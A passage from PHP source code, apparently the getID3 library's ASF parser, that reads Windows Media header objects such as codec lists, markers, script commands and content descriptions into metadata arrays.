					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
						$this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
					$unhandled_sections = 0;
					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
					if ($unhandled_sections === 0) {
						unset($thisfile_asf_headerextensionobject['extension_data']);
					}
					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
					break;

				case GETID3_ASF_Codec_List_Object:
					// Codec List Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
					// Codec Entries                array of:    variable        //
					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content

					// shortcut
					$thisfile_asf['codec_list_object'] = array();
					/** @var mixed[] $thisfile_asf_codeclistobject */
					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object']; // @phpstan-ignore-line

					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
						$this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					if ($thisfile_asf_codeclistobject['codec_entries_count'] > 0) {
						$thisfile_asf_codeclistobject['codec_entries'] = array();
					}
					$offset += 4;
					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
						// shortcut
						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];

						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);

						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
						$offset += $CodecNameLength;

						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
						$offset += $CodecDescriptionLength;

						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
						$offset += $CodecInformationLength;

						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec

							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
								$this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"');
							} else {

								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);

								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
									$thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000;
								}
								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
								}

								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
								switch ($AudioCodecFrequency) {
									case 8:
									case 8000:
										$thisfile_audio['sample_rate'] = 8000;
										break;

									case 11:
									case 11025:
										$thisfile_audio['sample_rate'] = 11025;
										break;

									case 12:
									case 12000:
										$thisfile_audio['sample_rate'] = 12000;
										break;

									case 16:
									case 16000:
										$thisfile_audio['sample_rate'] = 16000;
										break;

									case 22:
									case 22050:
										$thisfile_audio['sample_rate'] = 22050;
										break;

									case 24:
									case 24000:
										$thisfile_audio['sample_rate'] = 24000;
										break;

									case 32:
									case 32000:
										$thisfile_audio['sample_rate'] = 32000;
										break;

									case 44:
									case 441000:
										$thisfile_audio['sample_rate'] = 44100;
										break;

									case 48:
									case 48000:
										$thisfile_audio['sample_rate'] = 48000;
										break;

									default:
										$this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')');
										break;
								}

								if (!isset($thisfile_audio['channels'])) {
									if (strstr($AudioCodecChannels, 'stereo')) {
										$thisfile_audio['channels'] = 2;
									} elseif (strstr($AudioCodecChannels, 'mono')) {
										$thisfile_audio['channels'] = 1;
									}
								}

							}
						}
					}
					break;

				case GETID3_ASF_Script_Command_Object:
					// Script Command Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
					// Command Types                array of:    variable        //
					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
					// Commands                     array of:    variable        //
					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command

					// shortcut
					$thisfile_asf['script_command_object'] = array();
					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];

					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
						$this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_scriptcommandobject['command_types_count'] > 0) {
						$thisfile_asf_scriptcommandobject['command_types'] = array();
						for ($CommandTypesCounter = 0; $CommandTypesCounter < (int) $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
							$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
							$offset += 2;
							$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter] = array();
							$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
							$offset += $CommandTypeNameLength;
						}
					}
					for ($CommandsCounter = 0; $CommandsCounter < (int) $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;

						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					break;

				case GETID3_ASF_Marker_Object:
					// Marker Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
					// Reserved                     WORD         16              // hardcoded: 0x0000
					// Name Length                  WORD         16              // number of bytes in the Name field
					// Name                         WCHAR        variable        // name of the Marker Object
					// Markers                      array of:    variable        //
					// * Offset                     QWORD        64              // byte offset into Data Object
					// * Presentation Time          QWORD        64              // in 100-nanosecond units
					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
					// * Send Time                  DWORD        32              // in milliseconds
					// * Flags                      DWORD        32              // hardcoded: 0x00000000
					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
					// * Padding                    BYTESTREAM   variable        // optional padding bytes

					// shortcut
					$thisfile_asf['marker_object'] = array();
					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];

					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
						$this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}');
						break;
					}
					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					/** @var int|float|false $totalMakersCount */
					$totalMakersCount = $thisfile_asf_markerobject['markers_count'];
					$offset += 4;
					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
						$this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"');
						break;
					}
					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
					$offset += $thisfile_asf_markerobject['name_length'];
					for ($MarkersCounter = 0; $MarkersCounter < $totalMakersCount; $MarkersCounter++) {
						$thisfile_asf_markerobject['markers'][$MarkersCounter] = array();
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						if ($PaddingLength > 0) {
							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
							$offset += $PaddingLength;
						}
					}
					break;

				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
					// Bitrate Mutual Exclusion Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
					// Stream Numbers Count         WORD         16              // number of video streams
					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127

					// shortcut
					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];

					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
					$offset += 16;
					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
						$this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}');
						//return false;
						break;
					}
					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($StreamNumberCounter = 0; $StreamNumberCounter < (int) $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
					}
					break;

				case GETID3_ASF_Error_Correction_Object:
					// Error Correction Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field

					// shortcut
					$thisfile_asf['error_correction_object'] = array();
					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];

					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
						case GETID3_ASF_No_Error_Correction:
							// should be no data, but just in case there is, skip to the end of the field
							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
							break;

						case GETID3_ASF_Audio_Spread:
							// Field Name                   Field Type   Size (bits)
							// Span                         BYTE         8               // number of packets over which audio will be spread.
							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes

							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
							$offset += 1;
							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
							break;

						default:
							$this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}');
							//return false;
							break;
					}

					break;

				case GETID3_ASF_Content_Description_Object:
					// Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
					// Title Length                 WORD         16              // number of bytes in Title field
					// Author Length                WORD         16              // number of bytes in Author field
					// Copyright Length             WORD         16              // number of bytes in Copyright field
					// Description Length           WORD         16              // number of bytes in Description field
					// Rating Length                WORD         16              // number of bytes in Rating field
					// Title                        WCHAR        16              // array of Unicode characters - Title
					// Author                       WCHAR        16              // array of Unicode characters - Author
					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
					// Description                  WCHAR        16              // array of Unicode characters - Description
					// Rating                       WCHAR        16              // array of Unicode characters - Rating

					// shortcut
					$thisfile_asf['content_description_object'] = array();
					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];

					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];

					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
						}
					}
					break;

				case GETID3_ASF_Extended_Content_Description_Object:
					// Extended Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
					// Content Descriptors          array of:    variable        //
					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
					// * Descriptor Value Data Type WORD         16              // Lookup array:
																					// 0x0000 = Unicode String (variable length)
																					// 0x0001 = BYTE array     (variable length)
																					// 0x0002 = BOOL           (DWORD, 32 bits)
																					// 0x0003 = DWORD          (DWORD, 32 bits)
																					// 0x0004 = QWORD          (QWORD, 64 bits)
																					// 0x0005 = WORD           (WORD,  16 bits)
					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
					// * Descriptor Value           variable     variable        // value for Content Descriptor

					// shortcut
					$thisfile_asf['extended_content_description_object'] = array();
					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];

					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < (int) $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
						// shortcut
						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];

						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							default:
								$this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')');
								//return false;
								break;
						}
						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {

							case 'wm/albumartist':
							case 'artist':
								// Note: not 'artist', that comes from 'author' tag
